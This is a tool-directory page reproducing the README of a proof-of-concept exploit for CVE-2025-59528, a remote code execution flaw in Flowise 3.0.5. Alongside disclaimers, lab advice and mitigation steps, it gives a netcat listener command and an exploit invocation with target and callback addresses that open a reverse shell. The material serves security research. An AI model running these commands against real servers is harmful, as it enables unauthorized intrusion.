Skip to content
KitploitKITPLOIT
ToolsBlog
Submit
ToolsBlog
Submit

Hacking, PenTest, and Cybersecurity Tools for Your Security Arsenal!

Kitploit is a directory of hacking, cybersecurity, and pentesting tools. Discover the latest project updates to find vulnerabilities, analyze systems, automate testing, and strengthen your security.

··Feeds·Contact·Privacy·© 2026 Kitploit

Tool Directory

Categories

View all categories
Loading categories
CVE-2025-59528-PoC — The poc of CVE-2025-59528 | Kitploit
Tools/GitHubGitHub/sonnelon/cve-2025-59528-poc
Vulnerability AnalysisExploitationWeb Application ExploitationPenetration Testing
GitHubsonnelon/cve-2025-59528-poc

CVE-2025-59528-PoC

The poc of CVE-2025-59528

View Repository
1 month agoNot yet reviewed

Most Popular

View all →

Discover the most used tools by our community.

Explore all tools

Browse our collection of tools

View all tools →
Share

CVE-2025-59528 PoC

Proof of Concept for researching CVE-2025-59528 in an isolated laboratory environment.

[!WARNING] DISCLAIMER

This project is intended strictly for educational purposes, security research, and testing systems that you own or have explicit authorization to test.

Do not use this PoC against third-party servers, public services, or infrastructure without the owner's permission.

The author is not responsible for any damage, data loss, service disruption, or legal consequences resulting from the misuse of this project.

Description

This PoC demonstrates the potential impact of CVE-2025-59528, a vulnerability involving the processing of user-controlled mcpServerConfig in Flowise.

Under certain conditions, the vulnerability may allow an attacker to execute arbitrary JavaScript code in the server-side context.

Affected Versions

  • Flowise 3.0.5

Fixed Version

  • Flowise 3.0.6+

Always verify the exact version of the target installation before testing.

Requirements

  • Python 3
  • requests
  • A local or isolated Flowise test instance
Download Tool
  • An authorized account with the required permissions
  • Install the Python dependency:

    root@kitploit:~
    pip install requests
    

    Usage

    Run netcat for get shell:

    root@kitploit:~
    nc -lvnp <YOUR_PORT>
    

    Run the PoC with:

    root@kitploit:~
    python3 poc.py \
        -t http://TARGET:PORT \
        -o api_key \
        -i CALLBACK_IP \
        -p CALLBACK_PORT
    

    Arguments

    ArgumentDescription
    -t, --targetURL of the Flowise test instance
    -o, --api_keyAPI key
    -i, --ipIP address of the testing machine
    -p, --portPort used by the testing environment

    Laboratory Setup

    Testing should be performed inside an isolated virtual or laboratory network.

    root@kitploit:~
    ┌──────────────────┐
    │    PoC Machine   │
    │                  │
    │    Python PoC    │
    └────────┬─────────┘
             │
             │ Isolated Network
             │
    ┌────────▼─────────┐
    │   Flowise 3.0.5  │
    │   Test Instance  │
    └──────────────────┘
    

    Do not expose an intentionally vulnerable Flowise instance directly to the public Internet.

    Mitigation

    If you are running an affected version of Flowise:

    1. Upgrade Flowise to a patched version.
    2. Restrict access to administrative APIs.
    3. Avoid granting untrusted users permissions required to access vulnerable functionality.
    4. Review server logs for suspicious requests.
    5. Retest the installation after upgrading.

    References

    • CVE: CVE-2025-59528
    • Affected software: Flowise
    • Fixed version: 3.0.6+

    Legal Notice

    By using this project, you acknowledge that you are solely responsible for complying with all applicable laws and regulations.

    Use this PoC only against systems you own or systems for which you have explicit authorization to perform security testing.